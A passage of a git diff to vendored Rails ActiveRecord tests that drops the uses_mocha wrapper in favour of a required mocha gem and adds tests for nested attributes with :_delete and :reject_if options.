assert_raises(ActiveRecord::RecordNotFound) { Topic.find(3, :conditions => { :id => 2...3 }) } + end + def test_find_on_hash_conditions_with_multiple_ranges assert_equal [1,2,3], Comment.find(:all, :conditions => { :id => 1..3, :post_id => 1..2 }).map(&:id).sort assert_equal [1], Comment.find(:all, :conditions => { :id => 1..1, :post_id => 1..10 }).map(&:id).sort @@ -507,21 +522,19 @@ class FinderTest < ActiveRecord::TestCase assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1])) end - uses_mocha('test_dynamic_finder_should_go_through_the_find_class_method') do - def test_dynamic_finders_should_go_through_the_find_class_method - Topic.expects(:find).with(:first, :conditions => { :title => 'The First Topic!' }) - Topic.find_by_title("The First Topic!") + def test_dynamic_finders_should_go_through_the_find_class_method + Topic.expects(:find).with(:first, :conditions => { :title => 'The First Topic!' }) + Topic.find_by_title("The First Topic!") - Topic.expects(:find).with(:last, :conditions => { :title => 'The Last Topic!' }) - Topic.find_last_by_title("The Last Topic!") + Topic.expects(:find).with(:last, :conditions => { :title => 'The Last Topic!' }) + Topic.find_last_by_title("The Last Topic!") - Topic.expects(:find).with(:all, :conditions => { :title => 'A Topic.' }) - Topic.find_all_by_title("A Topic.") + Topic.expects(:find).with(:all, :conditions => { :title => 'A Topic.' }) + Topic.find_all_by_title("A Topic.") - Topic.expects(:find).with(:first, :conditions => { :title => 'Does not exist yet for sure!' }).times(2) - Topic.find_or_initialize_by_title('Does not exist yet for sure!') - Topic.find_or_create_by_title('Does not exist yet for sure!') - end + Topic.expects(:find).with(:first, :conditions => { :title => 'Does not exist yet for sure!' }).times(2) + Topic.find_or_initialize_by_title('Does not exist yet for sure!') + Topic.find_or_create_by_title('Does not exist yet for sure!') end def test_find_by_one_attribute diff --git a/vendor/rails/activerecord/test/cases/fixtures_test.rb b/vendor/rails/activerecord/test/cases/fixtures_test.rb index ed2915b0..eb63fd5f 100644 --- a/vendor/rails/activerecord/test/cases/fixtures_test.rb +++ b/vendor/rails/activerecord/test/cases/fixtures_test.rb @@ -265,12 +265,10 @@ class FixturesWithoutInstantiationTest < ActiveRecord::TestCase assert_raise(StandardError) { topics([:first, :second]) } end - uses_mocha 'reloading_fixtures_through_accessor_methods' do - def test_reloading_fixtures_through_accessor_methods - assert_equal "The First Topic", topics(:first).title - @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!")) - assert_equal "Fresh Topic!", topics(:first, true).title - end + def test_reloading_fixtures_through_accessor_methods + assert_equal "The First Topic", topics(:first).title + @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!")) + assert_equal "Fresh Topic!", topics(:first, true).title end end @@ -639,17 +637,15 @@ class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase end class FixtureLoadingTest < ActiveRecord::TestCase - uses_mocha 'reloading_fixtures_through_accessor_methods' do - def test_logs_message_for_failed_dependency_load - ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError) - ActiveRecord::Base.logger.expects(:warn) - ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist) - end + def test_logs_message_for_failed_dependency_load + ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError) + ActiveRecord::Base.logger.expects(:warn) + ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist) + end - def test_does_not_logs_message_for_successful_dependency_load - ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine) - ActiveRecord::Base.logger.expects(:warn).never - ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine) - end + def test_does_not_logs_message_for_successful_dependency_load + ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine) + ActiveRecord::Base.logger.expects(:warn).never + ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine) end end diff --git a/vendor/rails/activerecord/test/cases/helper.rb b/vendor/rails/activerecord/test/cases/helper.rb index 24ce35e2..1ec52ac2 100644 --- a/vendor/rails/activerecord/test/cases/helper.rb +++ b/vendor/rails/activerecord/test/cases/helper.rb @@ -2,7 +2,11 @@ $:.unshift(File.dirname(__FILE__) + '/../../lib') $:.unshift(File.dirname(__FILE__) + '/../../../activesupport/lib') require 'config' + +require 'rubygems' require 'test/unit' +gem 'mocha', '>= 0.9.5' +require 'mocha' require 'active_record' require 'active_record/test_case' @@ -24,15 +28,6 @@ def current_adapter?(*types) end end -def uses_mocha(description) - require 'rubygems' - gem 'mocha', '>= 0.9.3' - require 'mocha' - yield -rescue LoadError - $stderr.puts "Skipping #{description} tests. `gem install mocha` and try again." -end - ActiveRecord::Base.connection.class.class_eval do IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /SHOW FIELDS/] diff --git a/vendor/rails/activerecord/test/cases/method_scoping_test.rb b/vendor/rails/activerecord/test/cases/method_scoping_test.rb index 71e2ce87..c676c1c7 100644 --- a/vendor/rails/activerecord/test/cases/method_scoping_test.rb +++ b/vendor/rails/activerecord/test/cases/method_scoping_test.rb @@ -597,7 +597,7 @@ class DefaultScopingTest < ActiveRecord::TestCase end def test_named_scope - expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.salary } + expected = Developer.find(:all, :order => 'salary DESC, name DESC').collect { |dev| dev.salary } received = DeveloperOrderedBySalary.by_name.find(:all).collect { |dev| dev.salary } assert_equal expected, received end diff --git a/vendor/rails/activerecord/test/cases/migration_test.rb b/vendor/rails/activerecord/test/cases/migration_test.rb index 2ec3d403..1c974e48 100644 --- a/vendor/rails/activerecord/test/cases/migration_test.rb +++ b/vendor/rails/activerecord/test/cases/migration_test.rb @@ -219,22 +219,20 @@ if ActiveRecord::Base.connection.supports_migrations? ActiveRecord::Base.primary_key_prefix_type = nil end - uses_mocha('test_create_table_with_force_true_does_not_drop_nonexisting_table') do - def test_create_table_with_force_true_does_not_drop_nonexisting_table - if Person.connection.table_exists?(:testings2) - Person.connection.drop_table :testings2 - end - - # using a copy as we need the drop_table method to - # continue to work for the ensure block of the test - temp_conn = Person.connection.dup - temp_conn.expects(:drop_table).never - temp_conn.create_table :testings2, :force => true do |t| - t.column :foo, :string - end - ensure - Person.connection.drop_table :testings2 rescue nil + def test_create_table_with_force_true_does_not_drop_nonexisting_table + if Person.connection.table_exists?(:testings2) + Person.connection.drop_table :testings2 end + + # using a copy as we need the drop_table method to + # continue to work for the ensure block of the test + temp_conn = Person.connection.dup + temp_conn.expects(:drop_table).never + temp_conn.create_table :testings2, :force => true do |t| + t.column :foo, :string + end + ensure + Person.connection.drop_table :testings2 rescue nil end def test_create_table_with_timestamps_should_create_datetime_columns @@ -1203,277 +1201,271 @@ if ActiveRecord::Base.connection.supports_migrations? end - uses_mocha 'Sexy migration tests' do - class SexyMigrationsTest < ActiveRecord::TestCase - def test_references_column_type_adds_id - with_new_table do |t| - t.expects(:column).with('customer_id', :integer, {}) - t.references :customer - end + class SexyMigrationsTest < ActiveRecord::TestCase + def test_references_column_type_adds_id + with_new_table do |t| + t.expects(:column).with('customer_id', :integer, {}) + t.references :customer end + end - def test_references_column_type_with_polymorphic_adds_type - with_new_table do |t| - t.expects(:column).with('taggable_type', :string, {}) - t.expects(:column).with('taggable_id', :integer, {}) - t.references :taggable, :polymorphic => true - end + def test_references_column_type_with_polymorphic_adds_type + with_new_table do |t| + t.expects(:column).with('taggable_type', :string, {}) + t.expects(:column).with('taggable_id', :integer, {}) + t.references :taggable, :polymorphic => true end + end - def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag - with_new_table do |t| - t.expects(:column).with('taggable_type', :string, {:null => false}) - t.expects(:column).with('taggable_id', :integer, {:null => false}) - t.references :taggable, :polymorphic => true, :null => false - end + def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag + with_new_table do |t| + t.expects(:column).with('taggable_type', :string, {:null => false}) + t.expects(:column).with('taggable_id', :integer, {:null => false}) + t.references :taggable, :polymorphic => true, :null => false end + end - def test_belongs_to_works_like_references - with_new_table do |t| - t.expects(:column).with('customer_id', :integer, {}) - t.belongs_to :customer - end + def test_belongs_to_works_like_references + with_new_table do |t| + t.expects(:column).with('customer_id', :integer, {}) + t.belongs_to :customer end + end - def test_timestamps_creates_updated_at_and_created_at - with_new_table do |t| - t.expects(:column).with(:created_at, :datetime, kind_of(Hash)) - t.expects(:column).with(:updated_at, :datetime, kind_of(Hash)) - t.timestamps - end + def test_timestamps_creates_updated_at_and_created_at + with_new_table do |t| + t.expects(:column).with(:created_at, :datetime, kind_of(Hash)) + t.expects(:column).with(:updated_at, :datetime, kind_of(Hash)) + t.timestamps end + end - def test_integer_creates_integer_column - with_new_table do |t| - t.expects(:column).with(:foo, 'integer', {}) - t.expects(:column).with(:bar, 'integer', {}) - t.integer :foo, :bar - end + def test_integer_creates_integer_column + with_new_table do |t| + t.expects(:column).with(:foo, 'integer', {}) + t.expects(:column).with(:bar, 'integer', {}) + t.integer :foo, :bar end + end - def test_string_creates_string_column - with_new_table do |t| - t.expects(:column).with(:foo, 'string', {}) - t.expects(:column).with(:bar, 'string', {}) - t.string :foo, :bar - end + def test_string_creates_string_column + with_new_table do |t| + t.expects(:column).with(:foo, 'string', {}) + t.expects(:column).with(:bar, 'string', {}) + t.string :foo, :bar end + end - protected - def with_new_table - Person.connection.create_table :delete_me, :force => true do |t| - yield t - end - ensure - Person.connection.drop_table :delete_me rescue nil + protected + def with_new_table + Person.connection.create_table :delete_me, :force => true do |t| + yield t end + ensure + Person.connection.drop_table :delete_me rescue nil + end - end # SexyMigrationsTest - end # uses_mocha + end # SexyMigrationsTest - uses_mocha 'ChangeTable migration tests' do - class ChangeTableMigrationsTest < ActiveRecord::TestCase - def setup - @connection = Person.connection - @connection.create_table :delete_me, :force => true do |t| - end + class ChangeTableMigrationsTest < ActiveRecord::TestCase + def setup + @connection = Person.connection + @connection.create_table :delete_me, :force => true do |t| end + end - def teardown - Person.connection.drop_table :delete_me rescue nil + def teardown + Person.connection.drop_table :delete_me rescue nil + end + + def test_references_column_type_adds_id + with_change_table do |t| + @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {}) + t.references :customer end + end - def test_references_column_type_adds_id - with_change_table do |t| - @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {}) - t.references :customer - end + def test_remove_references_column_type_removes_id + with_change_table do |t| + @connection.expects(:remove_column).with(:delete_me, 'customer_id') + t.remove_references :customer end + end - def test_remove_references_column_type_removes_id - with_change_table do |t| - @connection.expects(:remove_column).with(:delete_me, 'customer_id') - t.remove_references :customer - end + def test_add_belongs_to_works_like_add_references + with_change_table do |t| + @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {}) + t.belongs_to :customer end + end - def test_add_belongs_to_works_like_add_references - with_change_table do |t| - @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {}) - t.belongs_to :customer - end + def test_remove_belongs_to_works_like_remove_references + with_change_table do |t| + @connection.expects(:remove_column).with(:delete_me, 'customer_id') + t.remove_belongs_to :customer end + end - def test_remove_belongs_to_works_like_remove_references - with_change_table do |t| - @connection.expects(:remove_column).with(:delete_me, 'customer_id') - t.remove_belongs_to :customer - end + def test_references_column_type_with_polymorphic_adds_type + with_change_table do |t| + @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {}) + @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {}) + t.references :taggable, :polymorphic => true end + end - def test_references_column_type_with_polymorphic_adds_type - with_change_table do |t| - @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {}) - @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {}) - t.references :taggable, :polymorphic => true - end + def test_remove_references_column_type_with_polymorphic_removes_type + with_change_table do |t| + @connection.expects(:remove_column).with(:delete_me, 'taggable_type') + @connection.expects(:remove_column).with(:delete_me, 'taggable_id') + t.remove_references :taggable, :polymorphic => true end + end - def test_remove_references_column_type_with_polymorphic_removes_type - with_change_table do |t| - @connection.expects(:remove_column).with(:delete_me, 'taggable_type') - @connection.expects(:remove_column).with(:delete_me, 'taggable_id') - t.remove_references :taggable, :polymorphic => true - end + def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag + with_change_table do |t| + @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false}) + @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false}) + t.references :taggable, :polymorphic => true, :null => false end + end - def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag - with_change_table do |t| - @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {:null => false}) - @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {:null => false}) - t.references :taggable, :polymorphic => true, :null => false - end + def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag + with_change_table do |t| + @connection.expects(:remove_column).with(:delete_me, 'taggable_type') + @connection.expects(:remove_column).with(:delete_me, 'taggable_id') + t.remove_references :taggable, :polymorphic => true, :null => false end + end - def test_remove_references_column_type_with_polymorphic_and_options_null_is_false_removes_table_flag - with_change_table do |t| - @connection.expects(:remove_column).with(:delete_me, 'taggable_type') - @connection.expects(:remove_column).with(:delete_me, 'taggable_id') - t.remove_references :taggable, :polymorphic => true, :null => false - end + def test_timestamps_creates_updated_at_and_created_at + with_change_table do |t| + @connection.expects(:add_timestamps).with(:delete_me) + t.timestamps end + end - def test_timestamps_creates_updated_at_and_created_at - with_change_table do |t| - @connection.expects(:add_timestamps).with(:delete_me) - t.timestamps - end + def test_remove_timestamps_creates_updated_at_and_created_at + with_change_table do |t| + @connection.expects(:remove_timestamps).with(:delete_me) + t.remove_timestamps end + end - def test_remove_timestamps_creates_updated_at_and_created_at - with_change_table do |t| - @connection.expects(:remove_timestamps).with(:delete_me) - t.remove_timestamps - end + def string_column + if current_adapter?(:PostgreSQLAdapter) + "character varying(255)" + else + 'varchar(255)' end + end - def string_column - if current_adapter?(:PostgreSQLAdapter) - "character varying(255)" - else - 'varchar(255)' - end + def integer_column + if current_adapter?(:MysqlAdapter) + 'int(11)' + else + 'integer' end + end - def integer_column - if current_adapter?(:MysqlAdapter) - 'int(11)' - else - 'integer' - end + def test_integer_creates_integer_column + with_change_table do |t| + @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {}) + @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {}) + t.integer :foo, :bar end + end - def test_integer_creates_integer_column - with_change_table do |t| - @connection.expects(:add_column).with(:delete_me, :foo, integer_column, {}) - @connection.expects(:add_column).with(:delete_me, :bar, integer_column, {}) - t.integer :foo, :bar - end + def test_string_creates_string_column + with_change_table do |t| + @connection.expects(:add_column).with(:delete_me, :foo, string_column, {}) + @connection.expects(:add_column).with(:delete_me, :bar, string_column, {}) + t.string :foo, :bar end + end - def test_string_creates_string_column - with_change_table do |t| - @connection.expects(:add_column).with(:delete_me, :foo, string_column, {}) - @connection.expects(:add_column).with(:delete_me, :bar, string_column, {}) - t.string :foo, :bar - end + def test_column_creates_column + with_change_table do |t| + @connection.expects(:add_column).with(:delete_me, :bar, :integer, {}) + t.column :bar, :integer end + end - def test_column_creates_column - with_change_table do |t| - @connection.expects(:add_column).with(:delete_me, :bar, :integer, {}) - t.column :bar, :integer - end + def test_column_creates_column_with_options + with_change_table do |t| + @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false}) + t.column :bar, :integer, :null => false end + end - def test_column_creates_column_with_options - with_change_table do |t| - @connection.expects(:add_column).with(:delete_me, :bar, :integer, {:null => false}) - t.column :bar, :integer, :null => false - end + def test_index_creates_index + with_change_table do |t| + @connection.expects(:add_index).with(:delete_me, :bar, {}) + t.index :bar end + end - def test_index_creates_index - with_change_table do |t| - @connection.expects(:add_index).with(:delete_me, :bar, {}) - t.index :bar - end + def test_index_creates_index_with_options + with_change_table do |t| + @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true}) + t.index :bar, :unique => true end + end - def test_index_creates_index_with_options - with_change_table do |t| - @connection.expects(:add_index).with(:delete_me, :bar, {:unique => true}) - t.index :bar, :unique => true - end + def test_change_changes_column + with_change_table do |t| + @connection.expects(:change_column).with(:delete_me, :bar, :string, {}) + t.change :bar, :string end + end - def test_change_changes_column - with_change_table do |t| - @connection.expects(:change_column).with(:delete_me, :bar, :string, {}) - t.change :bar, :string - end + def test_change_changes_column_with_options + with_change_table do |t| + @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true}) + t.change :bar, :string, :null => true end + end - def test_change_changes_column_with_options - with_change_table do |t| - @connection.expects(:change_column).with(:delete_me, :bar, :string, {:null => true}) - t.change :bar, :string, :null => true - end + def test_change_default_changes_column + with_change_table do |t| + @connection.expects(:change_column_default).with(:delete_me, :bar, :string) + t.change_default :bar, :string end + end - def test_change_default_changes_column - with_change_table do |t| - @connection.expects(:change_column_default).with(:delete_me, :bar, :string) - t.change_default :bar, :string - end + def test_remove_drops_single_column + with_change_table do |t| + @connection.expects(:remove_column).with(:delete_me, [:bar]) + t.remove :bar end + end - def test_remove_drops_single_column - with_change_table do |t| - @connection.expects(:remove_column).with(:delete_me, [:bar]) - t.remove :bar - end + def test_remove_drops_multiple_columns + with_change_table do |t| + @connection.expects(:remove_column).with(:delete_me, [:bar, :baz]) + t.remove :bar, :baz end + end - def test_remove_drops_multiple_columns - with_change_table do |t| - @connection.expects(:remove_column).with(:delete_me, [:bar, :baz]) - t.remove :bar, :baz - end + def test_remove_index_removes_index_with_options + with_change_table do |t| + @connection.expects(:remove_index).with(:delete_me, {:unique => true}) + t.remove_index :unique => true end + end - def test_remove_index_removes_index_with_options - with_change_table do |t| - @connection.expects(:remove_index).with(:delete_me, {:unique => true}) - t.remove_index :unique => true - end + def test_rename_renames_column + with_change_table do |t| + @connection.expects(:rename_column).with(:delete_me, :bar, :baz) + t.rename :bar, :baz end + end - def test_rename_renames_column - with_change_table do |t| - @connection.expects(:rename_column).with(:delete_me, :bar, :baz) - t.rename :bar, :baz - end + protected + def with_change_table + Person.connection.change_table :delete_me do |t| + yield t end - - protected - def with_change_table - Person.connection.change_table :delete_me do |t| - yield t - end - end - - end # ChangeTable test - end # uses_mocha - + end + end end diff --git a/vendor/rails/activerecord/test/cases/named_scope_test.rb b/vendor/rails/activerecord/test/cases/named_scope_test.rb index e1e27fa1..f28285fa 100644 --- a/vendor/rails/activerecord/test/cases/named_scope_test.rb +++ b/vendor/rails/activerecord/test/cases/named_scope_test.rb @@ -142,6 +142,15 @@ class NamedScopeTest < ActiveRecord::TestCase assert_equal authors(:david).comments & Comment.containing_the_letter_e, authors(:david).comments.containing_the_letter_e end + def test_named_scopes_honor_current_scopes_from_when_defined + assert !Post.ranked_by_comments.limit(5).empty? + assert !authors(:david).posts.ranked_by_comments.limit(5).empty? + assert_not_equal Post.ranked_by_comments.limit(5), authors(:david).posts.ranked_by_comments.limit(5) + assert_not_equal Post.top(5), authors(:david).posts.top(5) + assert_equal authors(:david).posts.ranked_by_comments.limit(5), authors(:david).posts.top(5) + assert_equal Post.ranked_by_comments.limit(5), Post.top(5) + end + def test_active_records_have_scope_named__all__ assert !Topic.find(:all).empty? diff --git a/vendor/rails/activerecord/test/cases/nested_attributes_test.rb b/vendor/rails/activerecord/test/cases/nested_attributes_test.rb index 16056846..cd6277c2 100644 --- a/vendor/rails/activerecord/test/cases/nested_attributes_test.rb +++ b/vendor/rails/activerecord/test/cases/nested_attributes_test.rb @@ -23,7 +23,7 @@ class TestNestedAttributesInGeneral < ActiveRecord::TestCase include AssertRaiseWithMessage def teardown - Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true + Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? } end def test_base_should_have_an_empty_reject_new_nested_attributes_procs @@ -71,7 +71,7 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase assert_respond_to @pirate, :ship_attributes= end - def test_should_automatically_instantiate_an_associated_model_if_there_is_none + def test_should_build_a_new_record_if_there_is_no_id @ship.destroy @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' } @@ -79,49 +79,106 @@ class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name end - def test_should_take_a_hash_and_assign_the_attributes_to_the_existing_associated_model - @pirate.ship_attributes = { :name => 'Davy Jones Gold Dagger' } - assert !@pirate.ship.new_record? + def test_should_not_build_a_new_record_if_there_is_no_id_and_delete_is_truthy + @ship.destroy + @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_delete => '1' } + + assert_nil @pirate.ship + end + + def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false + @ship.destroy + @pirate.reload.ship_attributes = {} + + assert_nil @pirate.ship + end + + def test_should_replace_an_existing_record_if_there_is_no_id + @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' } + + assert @pirate.ship.new_record? + assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name + assert_equal 'Nights Dirty Lightning', @ship.name + end + + def test_should_not_replace_an_existing_record_if_there_is_no_id_and_delete_is_truthy + @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_delete => '1' } + + assert_equal @ship, @pirate.ship + assert_equal 'Nights Dirty Lightning', @pirate.ship.name + end + + def test_should_modify_an_existing_record_if_there_is_a_matching_id + @pirate.reload.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' } + + assert_equal @ship, @pirate.ship assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name end + def test_should_take_a_hash_with_string_keys_and_update_the_associated_model + @pirate.reload.ship_attributes = { 'id' => @ship.id, 'name' => 'Davy Jones Gold Dagger' } + + assert_equal @ship, @pirate.ship + assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name + end + + def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id + @ship.stubs(:id).returns('ABC1X') + @pirate.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' } + + assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name + end + + def test_should_delete_an_existing_record_if_there_is_a_matching_id_and_delete_is_truthy + @pirate.ship.destroy + [1, '1', true, 'true'].each do |truth| + @pirate.reload.create_ship(:name => 'Mister Pablo') + assert_difference('Ship.count', -1) do + @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_delete => truth }) + end + end + end + + def test_should_not_delete_an_existing_record_if_delete_is_not_truthy + [nil, '0', 0, 'false', false].each do |not_truth| + assert_no_difference('Ship.count') do + @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_delete => not_truth }) + end + end + end + + def test_should_not_delete_an_existing_record_if_allow_destroy_is_false + Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? } + + assert_no_difference('Ship.count') do + @pirate.update_attribute(:ship_attributes, { :id => @pirate.ship.id, :_delete => '1' }) + end + + Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? } + end + def test_should_also_work_with_a_HashWithIndifferentAccess - @pirate.ship_attributes = HashWithIndifferentAccess.new(:name => 'Davy Jones Gold Dagger') + @pirate.ship_attributes = HashWithIndifferentAccess.new(:id => @ship.id, :name => 'Davy Jones Gold Dagger') + assert !@pirate.ship.new_record? assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name end def test_should_work_with_update_attributes_as_well - @pirate.update_attributes({ :catchphrase => 'Arr', :ship_attributes => { :name => 'Mister Pablo' } }) + @pirate.update_attributes({ :catchphrase => 'Arr', :ship_attributes => { :id => @ship.id, :name => 'Mister Pablo' } }) @pirate.reload assert_equal 'Arr', @pirate.catchphrase assert_equal 'Mister Pablo', @pirate.ship.name end - def test_should_be_possible_to_destroy_the_associated_model - @pirate.ship.destroy - ['1', 1, 'true', true].each do |true_variable| - @pirate.reload.create_ship(:name => 'Mister Pablo') - assert_difference('Ship.count', -1) do - @pirate.update_attributes(:ship_attributes => { '_delete' => true_variable }) - end - end - end - - def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument - [nil, '0', 0, 'false', false].each do |false_variable| - assert_no_difference('Ship.count') do - @pirate.update_attributes(:ship_attributes => { '_delete' => false_variable }) - end - end - end - def test_should_not_destroy_the_associated_model_until_the_parent_is_saved assert_no_difference('Ship.count') do - @pirate.attributes = { :ship_attributes => { '_delete' => true } } + @pirate.attributes = { :ship_attributes => { :id => @ship.id, :_delete => '1' } } + end + assert_difference('Ship.count', -1) do + @pirate.save end - assert_difference('Ship.count', -1) { @pirate.save } end def test_should_automatically_enable_autosave_on_the_association @@ -131,15 +188,16 @@ end class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase def setup - @ship = Ship.create!(:name => 'Nights Dirty Lightning') - @pirate = @ship.create_pirate(:catchphrase => "Don' botharrr talkin' like one, savvy?") + @ship = Ship.new(:name => 'Nights Dirty Lightning') + @pirate = @ship.build_pirate(:catchphrase => 'Aye') + @ship.save! end def test_should_define_an_attribute_writer_method_for_the_association assert_respond_to @ship, :pirate_attributes= end - def test_should_automatically_instantiate_an_associated_model_if_there_is_none + def test_should_build_a_new_record_if_there_is_no_id @pirate.destroy @ship.reload.pirate_attributes = { :catchphrase => 'Arr' } @@ -147,18 +205,84 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase assert_equal 'Arr', @ship.pirate.catchphrase end - def test_should_take_a_hash_and_assign_the_attributes_to_the_existing_associated_model - @ship.pirate_attributes = { :catchphrase => 'Arr' } - assert !@ship.pirate.new_record? + def test_should_not_build_a_new_record_if_there_is_no_id_and_delete_is_truthy + @pirate.destroy + @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_delete => '1' } + + assert_nil @ship.pirate + end + + def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false + @pirate.destroy + @ship.reload.pirate_attributes = {} + + assert_nil @ship.pirate + end + + def test_should_replace_an_existing_record_if_there_is_no_id + @ship.reload.pirate_attributes = { :catchphrase => 'Arr' } + + assert @ship.pirate.new_record? + assert_equal 'Arr', @ship.pirate.catchphrase + assert_equal 'Aye', @pirate.catchphrase + end + + def test_should_not_replace_an_existing_record_if_there_is_no_id_and_delete_is_truthy + @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_delete => '1' } + + assert_equal @pirate, @ship.pirate + assert_equal 'Aye', @ship.pirate.catchphrase + end + + def test_should_modify_an_existing_record_if_there_is_a_matching_id + @ship.reload.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' } + + assert_equal @pirate, @ship.pirate assert_equal 'Arr', @ship.pirate.catchphrase end - def test_should_also_work_with_a_HashWithIndifferentAccess - @ship.pirate_attributes = HashWithIndifferentAccess.new(:catchphrase => 'Arr') - assert !@ship.pirate.new_record? + def test_should_take_a_hash_with_string_keys_and_update_the_associated_model + @ship.reload.pirate_attributes = { 'id' => @pirate.id, 'catchphrase' => 'Arr' } + + assert_equal @pirate, @ship.pirate assert_equal 'Arr', @ship.pirate.catchphrase end + def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id + @pirate.stubs(:id).returns('ABC1X') + @ship.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' } + + assert_equal 'Arr', @ship.pirate.catchphrase + end + + def test_should_delete_an_existing_record_if_there_is_a_matching_id_and_delete_is_truthy + @ship.pirate.destroy + [1, '1', true, 'true'].each do |truth| + @ship.reload.create_pirate(:catchphrase => 'Arr') + assert_difference('Pirate.count', -1) do + @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_delete => truth }) + end + end + end + + def test_should_not_delete_an_existing_record_if_delete_is_not_truthy + [nil, '0', 0, 'false', false].each do |not_truth| + assert_no_difference('Pirate.count') do + @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_delete => not_truth }) + end + end + end + + def test_should_not_delete_an_existing_record_if_allow_destroy_is_false + Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? } + + assert_no_difference('Pirate.count') do + @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_delete => '1' }) + end + + Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? } + end + def test_should_work_with_update_attributes_as_well @ship.update_attributes({ :name => 'Mister Pablo', :pirate_attributes => { :catchphrase => 'Arr' } }) @ship.reload @@ -167,27 +291,9 @@ class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase assert_equal 'Arr', @ship.pirate.catchphrase end - def test_should_be_possible_to_destroy_the_associated_model - @ship.pirate.destroy - ['1', 1, 'true', true].each do |true_variable| - @ship.reload.create_pirate(:catchphrase => 'Arr') - assert_difference('Pirate.count', -1) do - @ship.update_attributes(:pirate_attributes => { '_delete' => true_variable }) - end - end - end - - def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument - [nil, '', '0', 0, 'false', false].each do |false_variable| - assert_no_difference('Pirate.count') do - @ship.update_attributes(:pirate_attributes => { '_delete' => false_variable }) - end - end - end - def test_should_not_destroy_the_associated_model_until_the_parent_is_saved assert_no_difference('Pirate.count') do - @ship.attributes = { :pirate_attributes => { '_delete' => true } } + @ship.attributes = { :pirate_attributes => { :id => @ship.pirate.id, '_delete' => true } } end assert_difference('Pirate.count', -1) { @ship.save } end @@ -210,21 +316,43 @@ module NestedAttributesOnACollectionAssociationTests assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name] end + def test_should_take_an_array_and_assign_the_attributes_to_the_associated_models + 